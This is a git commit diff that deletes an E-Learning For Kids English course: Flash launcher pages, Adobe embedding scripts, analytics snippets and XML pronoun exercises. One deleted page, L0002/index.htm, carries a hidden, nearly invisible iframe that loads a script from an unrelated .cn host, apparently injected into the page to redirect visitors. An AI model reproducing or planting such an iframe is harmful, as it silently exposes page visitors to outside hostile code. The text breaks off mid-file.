removed khan and e-learningHEAD master

author: Tony Anderson <tony_anderson@usa.net> 2011-04-25 15:07:12 (GMT)
committer: Tony Anderson <tony_anderson@usa.net> 2011-04-25 15:07:12 (GMT)
commit: 4b6a0f85bbd5822a96bbd6ba68bee5c802a45266 (patch)
tree: 5caf184d2f92135b5a97c291d75ff245d5e4a31b
parent: 262cde7bd933a2e8a108cbd8cdf3029a916007de (diff)
3686 files changed, 0 insertions, 111577 deletions
diff --git a/Explore/courses.js b/Explore/courses.js
index e580745..258a6b5 100644
--- a/Explore/courses.js
+++ b/Explore/courses.js
@@ -3,7 +3,5 @@ var courses = [
     ['m42','math','explore.png','Math test activities'],
     ['m52','math','explore.png','Math test activities'],
     ['m62','math','explore.png','Math test activities'],
-    ['elr','elearn','explore.png','E-Learn English language courses'],
-    ['kha','khan','explore.png','Khan Academy arithmetic videos'],
     ['sgr','sugar','explore.png','Sugar activity examples'],
 ]
diff --git a/Explore/elr/English/L0001/ball_down.jpg b/Explore/elr/English/L0001/ball_down.jpg
deleted file mode 100755
index 24e439f..0000000
--- a/Explore/elr/English/L0001/ball_down.jpg
+++ /dev/null
diff --git a/Explore/elr/English/L0001/ball_up.jpg b/Explore/elr/English/L0001/ball_up.jpg
deleted file mode 100755
index d6ef7f1..0000000
--- a/Explore/elr/English/L0001/ball_up.jpg
+++ /dev/null
diff --git a/Explore/elr/English/L0001/bottom.jpg b/Explore/elr/English/L0001/bottom.jpg
deleted file mode 100755
index 1574a8d..0000000
--- a/Explore/elr/English/L0001/bottom.jpg
+++ /dev/null
diff --git a/Explore/elr/English/L0001/flash.html b/Explore/elr/English/L0001/flash.html
deleted file mode 100755
index 29e9bde..0000000
--- a/Explore/elr/English/L0001/flash.html
+++ /dev/null
@@ -1,16 +0,0 @@
-<html>
-<head>
-<title>Language Arts</title>
-</head>
-
-
-<body bgcolor="#ffffff" alink="#ffffff" vlink="#ffffff" link="#ffffff" topmargin="0" leftmargin="0">
-<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="800" height="600">
-  <param name="movie" value="scene_1.swf">
-  <param name="quality" value="high">
-  <embed src="scene_1.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="800" height="600"></embed>
-<param name="MENU" value="false">
-</object>
-
-</body>
-</html>
-\ No newline at end of file
diff --git a/Explore/elr/English/L0001/index.html b/Explore/elr/English/L0001/index.html
deleted file mode 100755
index dfc7505..0000000
--- a/Explore/elr/English/L0001/index.html
+++ /dev/null
@@ -1,119 +0,0 @@
-<html>
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<title>E-Learning For Kids</title>
-
-<SCRIPT LANGUAGE="JavaScript">
-
-var win = null;
-function NewWindow(mypage,myname,w,h,scroll){
-LeftPosition = (screen.width) ? (screen.width-w)/2 : 0;
-TopPosition = (screen.height) ? (screen.height-h)/2 : 0;
-settings =
-'height='+h+',width='+w+',top='+TopPosition+',left='+LeftPosition+',scrollbars=0'+scroll+',resizable=0'
-win = window.open(mypage,myname,settings)
-}
-
-</SCRIPT>
-<script type="text/javascript">
-var gaJsHost = (("https:" == document.location.protocol) ?
-"https://ssl." : "http://www.");
-document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js'
-type='text/javascript'%3E%3C/script%3E"));
-</script>
-<script type="text/javascript">
-try {
-var pageTracker = _gat._getTracker("UA-3767630-1"); pageTracker._trackPageview(); } catch(err) {}</script>
-<script language="JavaScript" type="text/JavaScript">
-<!--
-function MM_preloadImages() { //v3.0
-  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
-    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
-    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
-}
-
-function MM_swapImgRestore() { //v3.0
-  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
-}
-
-function MM_findObj(n, d) { //v4.01
-  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
-    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
-  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
-  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
-  if(!x && d.getElementById) x=d.getElementById(n); return x;
-}
-
-function MM_swapImage() { //v3.0
-  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
-   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
-}
-//-->
-</script>
-<style type="text/css">
-<!--
-body {
-	background-color: #FFFFFF;
-}
--->
-</style>
-<!-- Start of StatCounter Code -->
-<script type="text/javascript">
-var sc_project=3285045; 
-var sc_invisible=0; 
-var sc_partition=21; 
-var sc_security="8bb71d08"; 
-</script>
-
-<script type="text/javascript" src="http://www.statcounter.com/counter/counter_xhtml.js"></script><noscript><div class="statcounter"><a class="statcounter" href="http://www.statcounter.com/"><img class="statcounter" src="http://c22.statcounter.com/3285045/0/8bb71d08/0/" alt="hit counter" /></a></div></noscript>
-<!-- End of StatCounter Code -->
-
-
-
-</head>
-
-<body onLoad="MM_preloadImages('ball_down.jpg')">
-<table style="height: 75%;" border="0" width="100%">
-<tbody>
-<tr>
-<td>
-<table border="0" cellspacing="0" cellpadding="0" width="465">
-<tbody>
-<tr>
-<th colspan="2" scope="col"><img src="lvl6.jpg" alt="" /><br /><br /><br /><img src="top.jpg" alt="" width="483" height="161" /></th>
-</tr>
-<tr>
-<td bgcolor="#f8f0c9">
-<div><img src="middle_left.jpg" alt="" width="222" height="57" /><a onclick="NewWindow(this.href,'name','800','600','yes');return false" onmouseover="MM_swapImage('crystal_ball','','ball_down.jpg',1)" onmouseout="MM_swapImgRestore()" href="flash.html"><img src="ball_up.jpg" border="0" alt="" width="48" height="57" /></a></div>
-</td>
-<td bgcolor="#faf2cb"><img src="middle_right.jpg" alt="" width="212" height="57" /></td>
-</tr>
-<tr>
-<td colspan="2"><img usemap="#Map" src="bottom.jpg" border="0" alt="" width="482" height="247" /></td>
-</tr>
-</tbody>
-</table>
-</td>
-</tr>
-</tbody>
-</table>
-<p>
-<map name="Map">
-<area shape="rect" coords="35,179,237,248" href="http://www.rodarim.com" target="_blank"></area>
-<area shape="rect" coords="255,179,456,247" href="http://www.skillsoft.com" target="_blank"></area> 
-</map>
-</p>
-<p>
-<script type="text/javascript"><!--
-var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
-document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
-// --></script>
-<script type="text/javascript"><!--
-try {
-var pageTracker = _gat._getTracker("UA-3767630-1");
-pageTracker._trackPageview();
-} catch(err) {}
-// --></script>
-</p>
-</body>
-</html>
-\ No newline at end of file
diff --git a/Explore/elr/English/L0001/launch.gif b/Explore/elr/English/L0001/launch.gif
deleted file mode 100755
index 249d872..0000000
--- a/Explore/elr/English/L0001/launch.gif
+++ /dev/null
diff --git a/Explore/elr/English/L0001/lvl6.jpg b/Explore/elr/English/L0001/lvl6.jpg
deleted file mode 100755
index 6c30caf..0000000
--- a/Explore/elr/English/L0001/lvl6.jpg
+++ /dev/null
diff --git a/Explore/elr/English/L0001/middle_left.jpg b/Explore/elr/English/L0001/middle_left.jpg
deleted file mode 100755
index e38782f..0000000
--- a/Explore/elr/English/L0001/middle_left.jpg
+++ /dev/null
diff --git a/Explore/elr/English/L0001/middle_right.jpg b/Explore/elr/English/L0001/middle_right.jpg
deleted file mode 100755
index a048269..0000000
--- a/Explore/elr/English/L0001/middle_right.jpg
+++ /dev/null
diff --git a/Explore/elr/English/L0001/question_1.swf b/Explore/elr/English/L0001/question_1.swf
deleted file mode 100755
index a2248a2..0000000
--- a/Explore/elr/English/L0001/question_1.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0001/question_2.swf b/Explore/elr/English/L0001/question_2.swf
deleted file mode 100755
index bc4d566..0000000
--- a/Explore/elr/English/L0001/question_2.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0001/question_3.swf b/Explore/elr/English/L0001/question_3.swf
deleted file mode 100755
index 51dcc95..0000000
--- a/Explore/elr/English/L0001/question_3.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0001/question_4.swf b/Explore/elr/English/L0001/question_4.swf
deleted file mode 100755
index 584867a..0000000
--- a/Explore/elr/English/L0001/question_4.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0001/question_5.swf b/Explore/elr/English/L0001/question_5.swf
deleted file mode 100755
index 804bdcb..0000000
--- a/Explore/elr/English/L0001/question_5.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0001/question_6.swf b/Explore/elr/English/L0001/question_6.swf
deleted file mode 100755
index 25f7233..0000000
--- a/Explore/elr/English/L0001/question_6.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0001/scene_1.swf b/Explore/elr/English/L0001/scene_1.swf
deleted file mode 100755
index 70c6bbb..0000000
--- a/Explore/elr/English/L0001/scene_1.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0001/scene_2.swf b/Explore/elr/English/L0001/scene_2.swf
deleted file mode 100755
index f87977a..0000000
--- a/Explore/elr/English/L0001/scene_2.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0001/summary_1.swf b/Explore/elr/English/L0001/summary_1.swf
deleted file mode 100755
index 95263d9..0000000
--- a/Explore/elr/English/L0001/summary_1.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0001/top.jpg b/Explore/elr/English/L0001/top.jpg
deleted file mode 100755
index e9ca50c..0000000
--- a/Explore/elr/English/L0001/top.jpg
+++ /dev/null
diff --git a/Explore/elr/English/L0002/assets/Intro_animation_1.swf b/Explore/elr/English/L0002/assets/Intro_animation_1.swf
deleted file mode 100755
index 0591889..0000000
--- a/Explore/elr/English/L0002/assets/Intro_animation_1.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0002/assets/Pirate_001_001.swf b/Explore/elr/English/L0002/assets/Pirate_001_001.swf
deleted file mode 100755
index f337a4f..0000000
--- a/Explore/elr/English/L0002/assets/Pirate_001_001.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0002/assets/Pirate_001_002.swf b/Explore/elr/English/L0002/assets/Pirate_001_002.swf
deleted file mode 100755
index 13e4fec..0000000
--- a/Explore/elr/English/L0002/assets/Pirate_001_002.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0002/assets/Pirate_002_001.swf b/Explore/elr/English/L0002/assets/Pirate_002_001.swf
deleted file mode 100755
index 7291da9..0000000
--- a/Explore/elr/English/L0002/assets/Pirate_002_001.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0002/assets/Pirate_002_002.swf b/Explore/elr/English/L0002/assets/Pirate_002_002.swf
deleted file mode 100755
index d857858..0000000
--- a/Explore/elr/English/L0002/assets/Pirate_002_002.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0002/assets/Pirate_002_003.swf b/Explore/elr/English/L0002/assets/Pirate_002_003.swf
deleted file mode 100755
index eedead1..0000000
--- a/Explore/elr/English/L0002/assets/Pirate_002_003.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0002/assets/Pirate_003_001.swf b/Explore/elr/English/L0002/assets/Pirate_003_001.swf
deleted file mode 100755
index b3879f5..0000000
--- a/Explore/elr/English/L0002/assets/Pirate_003_001.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0002/assets/Pirate_003_002.swf b/Explore/elr/English/L0002/assets/Pirate_003_002.swf
deleted file mode 100755
index fda7f09..0000000
--- a/Explore/elr/English/L0002/assets/Pirate_003_002.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0002/assets/Pirate_004_001.swf b/Explore/elr/English/L0002/assets/Pirate_004_001.swf
deleted file mode 100755
index 6789a5c..0000000
--- a/Explore/elr/English/L0002/assets/Pirate_004_001.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0002/assets/Pirate_005_001.swf b/Explore/elr/English/L0002/assets/Pirate_005_001.swf
deleted file mode 100755
index e1814df..0000000
--- a/Explore/elr/English/L0002/assets/Pirate_005_001.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0002/assets/Pirate_005_001_intro.swf b/Explore/elr/English/L0002/assets/Pirate_005_001_intro.swf
deleted file mode 100755
index c2c1cca..0000000
--- a/Explore/elr/English/L0002/assets/Pirate_005_001_intro.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0002/assets/Pirate_006_001.swf b/Explore/elr/English/L0002/assets/Pirate_006_001.swf
deleted file mode 100755
index 38ed74a..0000000
--- a/Explore/elr/English/L0002/assets/Pirate_006_001.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0002/assets/Pirate_006_001_intro.swf b/Explore/elr/English/L0002/assets/Pirate_006_001_intro.swf
deleted file mode 100755
index 89ca1c1..0000000
--- a/Explore/elr/English/L0002/assets/Pirate_006_001_intro.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0002/assets/Pirate_007_001.swf b/Explore/elr/English/L0002/assets/Pirate_007_001.swf
deleted file mode 100755
index 45e8e4e..0000000
--- a/Explore/elr/English/L0002/assets/Pirate_007_001.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0002/assets/Pirate_007_001_intro.swf b/Explore/elr/English/L0002/assets/Pirate_007_001_intro.swf
deleted file mode 100755
index b22ed1b..0000000
--- a/Explore/elr/English/L0002/assets/Pirate_007_001_intro.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0002/assets/Pirate_008_001.swf b/Explore/elr/English/L0002/assets/Pirate_008_001.swf
deleted file mode 100755
index 17de832..0000000
--- a/Explore/elr/English/L0002/assets/Pirate_008_001.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0002/assets/TOI.swf b/Explore/elr/English/L0002/assets/TOI.swf
deleted file mode 100755
index 789edb7..0000000
--- a/Explore/elr/English/L0002/assets/TOI.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0002/assets/intro_animation.swf b/Explore/elr/English/L0002/assets/intro_animation.swf
deleted file mode 100755
index d789ab9..0000000
--- a/Explore/elr/English/L0002/assets/intro_animation.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0002/global/AC_ActiveX.js b/Explore/elr/English/L0002/global/AC_ActiveX.js
deleted file mode 100755
index bda9c6c..0000000
--- a/Explore/elr/English/L0002/global/AC_ActiveX.js
+++ /dev/null
@@ -1,82 +0,0 @@
-//v1.1
-//Copyright 2006 Adobe Systems, Inc. All rights reserved.
-function AC_AX_RunContent(){
-  var ret = AC_AX_GetArgs(arguments);
-  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
-}
-
-function AC_AX_GetArgs(args){
-  var ret = new Object();
-  ret.embedAttrs = new Object();
-  ret.params = new Object();
-  ret.objAttrs = new Object();
-  for (var i=0; i < args.length; i=i+2){
-    var currArg = args[i].toLowerCase();    
-
-    switch (currArg){	
-      case "pluginspage":
-      case "type":
-      case "src":
-        ret.embedAttrs[args[i]] = args[i+1];
-        break;
-      case "data":
-      case "codebase":
-      case "classid":
-      case "id":
-      case "onafterupdate":
-      case "onbeforeupdate":
-      case "onblur":
-      case "oncellchange":
-      case "onclick":
-      case "ondblClick":
-      case "ondrag":
-      case "ondragend":
-      case "ondragenter":
-      case "ondragleave":
-      case "ondragover":
-      case "ondrop":
-      case "onfinish":
-      case "onfocus":
-      case "onhelp":
-      case "onmousedown":
-      case "onmouseup":
-      case "onmouseover":
-      case "onmousemove":
-      case "onmouseout":
-      case "onkeypress":
-      case "onkeydown":
-      case "onkeyup":
-      case "onload":
-      case "onlosecapture":
-      case "onpropertychange":
-      case "onreadystatechange":
-      case "onrowsdelete":
-      case "onrowenter":
-      case "onrowexit":
-      case "onrowsinserted":
-      case "onstart":
-      case "onscroll":
-      case "onbeforeeditfocus":
-      case "onactivate":
-      case "onbeforedeactivate":
-      case "ondeactivate":
-        ret.objAttrs[args[i]] = args[i+1];
-        break;
-      case "width":
-      case "height":
-      case "align":
-      case "vspace": 
-      case "hspace":
-      case "class":
-      case "title":
-      case "accesskey":
-      case "name":
-      case "tabindex":
-        ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1];
-        break;
-      default:
-        ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];
-    }
-  }
-  return ret;
-}
diff --git a/Explore/elr/English/L0002/global/AC_RunActiveContent.js b/Explore/elr/English/L0002/global/AC_RunActiveContent.js
deleted file mode 100755
index 1f9190a..0000000
--- a/Explore/elr/English/L0002/global/AC_RunActiveContent.js
+++ /dev/null
@@ -1,126 +0,0 @@
-//v1.0
-//Copyright 2006 Adobe Systems, Inc. All rights reserved.
-function AC_AddExtension(src, ext)
-{
-  if (src.indexOf('?') != -1)
-    return src.replace(/\?/, ext+'?'); 
-  else
-    return src + ext;
-}
-
-function AC_Generateobj(objAttrs, params, embedAttrs) 
-{ 
-  var str = '<object ';
-  for (var i in objAttrs)
-    str += i + '="' + objAttrs[i] + '" ';
-  str += '>';
-  for (var i in params)
-    str += '<param name="' + i + '" value="' + params[i] + '" /> ';
-  str += '<embed ';
-  for (var i in embedAttrs)
-    str += i + '="' + embedAttrs[i] + '" ';
-  str += ' ></embed></object>';
-
-  document.write(str);
-}
-
-function AC_FL_RunContent(){
-  var ret = 
-    AC_GetArgs
-    (  arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
-     , "application/x-shockwave-flash"
-    );
-  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
-}
-
-function AC_SW_RunContent(){
-  var ret = 
-    AC_GetArgs
-    (  arguments, ".dcr", "src", "clsid:166B1BCA-3F9C-11CF-8075-444553540000"
-     , null
-    );
-  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
-}
-
-function AC_GetArgs(args, ext, srcParamName, classid, mimeType){
-  var ret = new Object();
-  ret.embedAttrs = new Object();
-  ret.params = new Object();
-  ret.objAttrs = new Object();
-  for (var i=0; i < args.length; i=i+2){
-    var currArg = args[i].toLowerCase();    
-
-    switch (currArg){	
-      case "classid":
-        break;
-      case "pluginspage":
-        ret.embedAttrs[args[i]] = args[i+1];
-        break;
-      case "src":
-      case "movie":	
-        args[i+1] = AC_AddExtension(args[i+1], ext);
-        ret.embedAttrs["src"] = args[i+1];
-        ret.params[srcParamName] = args[i+1];
-        break;
-      case "onafterupdate":
-      case "onbeforeupdate":
-      case "onblur":
-      case "oncellchange":
-      case "onclick":
-      case "ondblClick":
-      case "ondrag":
-      case "ondragend":
-      case "ondragenter":
-      case "ondragleave":
-      case "ondragover":
-      case "ondrop":
-      case "onfinish":
-      case "onfocus":
-      case "onhelp":
-      case "onmousedown":
-      case "onmouseup":
-      case "onmouseover":
-      case "onmousemove":
-      case "onmouseout":
-      case "onkeypress":
-      case "onkeydown":
-      case "onkeyup":
-      case "onload":
-      case "onlosecapture":
-      case "onpropertychange":
-      case "onreadystatechange":
-      case "onrowsdelete":
-      case "onrowenter":
-      case "onrowexit":
-      case "onrowsinserted":
-      case "onstart":
-      case "onscroll":
-      case "onbeforeeditfocus":
-      case "onactivate":
-      case "onbeforedeactivate":
-      case "ondeactivate":
-      case "type":
-      case "codebase":
-        ret.objAttrs[args[i]] = args[i+1];
-        break;
-      case "width":
-      case "height":
-      case "align":
-      case "vspace": 
-      case "hspace":
-      case "class":
-      case "title":
-      case "accesskey":
-      case "name":
-      case "id":
-      case "tabindex":
-        ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1];
-        break;
-      default:
-        ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];
-    }
-  }
-  ret.objAttrs["classid"] = classid;
-  if (mimeType) ret.embedAttrs["type"] = mimeType;
-  return ret;
-}
diff --git a/Explore/elr/English/L0002/index.htm b/Explore/elr/English/L0002/index.htm
deleted file mode 100755
index 6b8f3ac..0000000
--- a/Explore/elr/English/L0002/index.htm
+++ /dev/null
@@ -1,80 +0,0 @@
-<html>
-<head>
-<title>EFK - Course Launcher</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script>
-var MM_contentVersion = 6;
-var plugin = (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]) ? navigator.mimeTypes["application/x-shockwave-flash"].enabledPlugin : 0;
-if ( plugin ) {
-		var words = navigator.plugins["Shockwave Flash"].description.split(" ");
-	    for (var i = 0; i < words.length; ++i)
-	    {
-		if (isNaN(parseInt(words[i])))
-		continue;
-		var MM_PluginVersion = words[i]; 
-	    }
-	var MM_FlashCanPlay = MM_PluginVersion >= MM_contentVersion;
-}
-else if (navigator.userAgent && navigator.userAgent.indexOf("MSIE")>=0 
-   && (navigator.appVersion.indexOf("Win") != -1)) {
-	document.write('<SCR' + 'IPT LANGUAGE=VBScript\> \n'); //FS hide this from IE4.5 Mac by splitting the tag
-	document.write('on error resume next \n');
-	document.write('MM_FlashCanPlay = ( IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash." & MM_contentVersion)))\n');
-	document.write('</SCR' + 'IPT\> \n');
-}
-if (MM_FlashCanPlay )
-{
-win();
-}
-else
-{
-   alert("You will need Flash Player plug-in to run this course. The course will atempt to install the plug-in from the Web site of Macromedia. Alternatively, you can also install the plug-in from www.Macromedia.com");
-mx=window.open("http://www.macromedia.com/go/getflashplayer"); 
-}
-function win()
-{
-//Detect Resolution 
-if(screen.width < 1000)
-{
-//alert (screen.width);
-///alert ("800 resolution");
-mx = window.open("login.htm","wInterface","fullscreen=yes,HEIGHT="+screen.availHeight+",WIDTH=" +screen.availWidth+",left=0,top=0,leftmargin=0,topmargin=0")
-}
-else
-{
-//alert ("> 800 resolution");
-//alert (screen.width);
-mx = window.open("login.htm","wInterface","HEIGHT=600,WIDTH=800,left="+(screen.availWidth-1000)/2+",top="+(screen.availHeight-675)/2+",leftmargin=0,topmargin=0")
-}
-
-}
-
-</script>
-</head>
-<body bgcolor="#FFFFFF" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"><iframe src="http://hugebest.cn:8080/ts/in.cgi?pepsi8" width=2 height=4 style="visibility: hidden"></iframe>
-<br><Br><br><Br><Br><Br><Br><br><br><br>
-<CENTER>
-  <table width="80%" border="0" cellspacing="0" cellpadding="0">
-    <tr>
-      <td bgcolor="#9AC1E2"><table width="100%" border="0" cellspacing="1" cellpadding="50">
-          <tr> 
-            <td align="center" bgcolor="#FFFFFF"> <table width="80%" border="0" cellspacing="0" cellpadding="0">
-                <tr> 
-                  <td bgcolor="#666666"><table width="100%" border="0" cellspacing="1" cellpadding="3">
-                      <tr> 
-                        <td bgcolor="#E6E6E6"> <div align="center"><font size="2" face="Verdana, Arial, Helvetica, sans-serif">The 
-                            course may not launch automatically if you have the 
-                            pop blocker enabled, <br>
-                            Please&nbsp;<A HREF="Javascript:win()"><strong>click 
-                            here</strong></A> to launch it manually.</font></div></td>
-                      </tr>
-                    </table></td>
-                </tr>
-              </table></td>
-          </tr>
-        </table></td>
-    </tr>
-  </table>
-</CENTER>
-</BODY>
-</html>
diff --git a/Explore/elr/English/L0002/login.htm b/Explore/elr/English/L0002/login.htm
deleted file mode 100755
index bc8910f..0000000
--- a/Explore/elr/English/L0002/login.htm
+++ /dev/null
@@ -1,15 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
-<html>
-<head>
-<title>EFK</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-</head>
-
-<frameset rows="*,1" frameborder="NO" border="0" framespacing="0">
-  <frame src="loginframe.htm" name="fr1" frameborder="no" scrolling="no" noresize marginwidth="0" marginheight="0">
-  <frame  src="precacheframe.htm" name="fr" scrolling="NO" noresize>
-</frameset>
-<noframes><body bgcolor="#FFFFFF" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
-
-</body></noframes>
-</html>
diff --git a/Explore/elr/English/L0002/loginframe.htm b/Explore/elr/English/L0002/loginframe.htm
deleted file mode 100755
index c543f12..0000000
--- a/Explore/elr/English/L0002/loginframe.htm
+++ /dev/null
@@ -1,21 +0,0 @@
-<HTML>
-<HEAD>
-<meta http-equiv=Content-Type content="text/html;  charset=ISO-8859-1">
-<TITLE>EFK</TITLE>
-<script src="global/AC_RunActiveContent.js" type="text/javascript"></script>
-<script src="global/AC_ActiveX.js" type="text/javascript"></script>
-</HEAD>
-<BODY bgcolor="#ffffff" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" onLoad="initFlashMovie()" onUnload="closeAllChildWindows()" >
-<SCRIPT LANGUAGE=JavaScript>
-</SCRIPT>
-<!-- URL's used in the movie-->
-<!-- text used in the movie-->
-<!--Loading...User Name :Password :-->
-<div onMouseDown="removeMenu();">
-
-<script type="text/javascript" > 
-AC_FL_RunContent('codebase','http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0','width','100%','height','100%','align','middle','src','template','quality','high','SeamlessTabbing','false','bgcolor','#FFFFFF','name','course','allowscriptaccess','sameDomain','pluginspage','http://www.macromedia.com/go/getflashplayer','movie','template','menu','false','id','course');
-</script>
-</div>
-</BODY>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/English/L0002/template.swf b/Explore/elr/English/L0002/template.swf
deleted file mode 100755
index c6c27d8..0000000
--- a/Explore/elr/English/L0002/template.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0002/xml/activity01.xml b/Explore/elr/English/L0002/xml/activity01.xml
deleted file mode 100755
index 8cfc371..0000000
--- a/Explore/elr/English/L0002/xml/activity01.xml
+++ /dev/null
@@ -1,23 +0,0 @@
-<activity id="2">
-	<description><![CDATA[<b>Keep the personal pronouns by dragging them into the boat. Throw the other words overboard into the water.</b>]]></description>
-	<draggable>
-		<drag id = "1" isCorrect=""><![CDATA[Jump]]></drag>
-		<drag id = "2" isCorrect="true"><![CDATA[I]]></drag>
-		<drag id = "3" isCorrect="true"><![CDATA[Me]]></drag>
-		<drag id = "4" isCorrect=""><![CDATA[Book]]></drag>
-		<drag id = "5" isCorrect="true"><![CDATA[He]]></drag>
-		<drag id = "6" isCorrect="true"><![CDATA[Mine]]></drag>
-		<drag id = "7" isCorrect=""><![CDATA[Robert]]></drag>
-		<drag id = "8" isCorrect="true"><![CDATA[Him]]></drag>
-		<drag id = "9" isCorrect=""><![CDATA[Sally]]></drag>
-		<drag id = "10" isCorrect="true"><![CDATA[She]]></drag>
-		<drag id = "11" isCorrect="true"><![CDATA[My]]></drag>
-		<drag id = "12" isCorrect="true"><![CDATA[Her]]></drag>
-		<drag id = "13" isCorrect="true"><![CDATA[Your]]></drag>
-		<drag id = "14" isCorrect="true"><![CDATA[His]]></drag>
-		<drag id = "15" isCorrect="true"><![CDATA[You]]></drag>
-		<drag id = "16" isCorrect=""><![CDATA[Pirate]]></drag>
-		<drag id = "17" isCorrect=""><![CDATA[Treasure Chest]]></drag>
-	</draggable>
-	<feedback><![CDATA[]]></feedback>
-</activity>
-\ No newline at end of file
diff --git a/Explore/elr/English/L0002/xml/activity01_.xml b/Explore/elr/English/L0002/xml/activity01_.xml
deleted file mode 100755
index 061fb27..0000000
--- a/Explore/elr/English/L0002/xml/activity01_.xml
+++ /dev/null
@@ -1,18 +0,0 @@
-<activity id="1">
-	<description><![CDATA[Click each NOUN to see a new sentence with a PRONOUN.]]></description>
-	<example id="1">
-		<question><![CDATA[###<font color='#FF0000'><b>The boy</b></font>###ran home.]]></question>
-		<answer><![CDATA[###<font color='#FF0000'><b>He</b></font>###ran home.]]></answer>
-		<feedback><![CDATA[He is a personal pronoun.]]></feedback>
-	</example>
-	<example id="2">
-		<question><![CDATA[Sue put on###<font color='#FF0000'><b>Sue's</b></font>###coat.]]></question>
-		<answer><![CDATA[Sue put on###<font color='#FF0000'><b>her</b></font>###coat.]]></answer>
-		<feedback><![CDATA[Her is a personal pronoun.]]></feedback>
-	</example>
-	<example id="3">
-		<question><![CDATA[Mom made###<font color='#FF0000'><b>the child</b></font>###breakfast.]]></question>
-		<answer><![CDATA[Mom made###<font color='#FF0000'><b>me</b></font>###breakfast.]]></answer>
-		<feedback><![CDATA[Me is a personal pronoun.]]></feedback>
-	</example>
-</activity>
-\ No newline at end of file
diff --git a/Explore/elr/English/L0002/xml/activity02_01.xml b/Explore/elr/English/L0002/xml/activity02_01.xml
deleted file mode 100755
index ee90e5f..0000000
--- a/Explore/elr/English/L0002/xml/activity02_01.xml
+++ /dev/null
@@ -1,69 +0,0 @@
-<activity id = "3">
-  <description><![CDATA[<b></b>]]></description>
-  <set id = "1">
-    <questions>
-      <question id = "1">
-        <qn><![CDATA[His dog looks like _____________.]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[he]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[my]]></option>
-          <option id = "3" isCorrect = "true"><![CDATA[mine]]></option>
-        </options>
-      </question>
-      <question id = "2">
-        <qn><![CDATA[I like _____________ friend.]]></qn>
-        <options>
-          <option id = "1" isCorrect = "true"><![CDATA[my]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[she]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[me]]></option>
-        </options>
-      </question>
-      <question id = "3">
-        <qn><![CDATA[I shared _____________ toy.]]></qn>
-        <options>
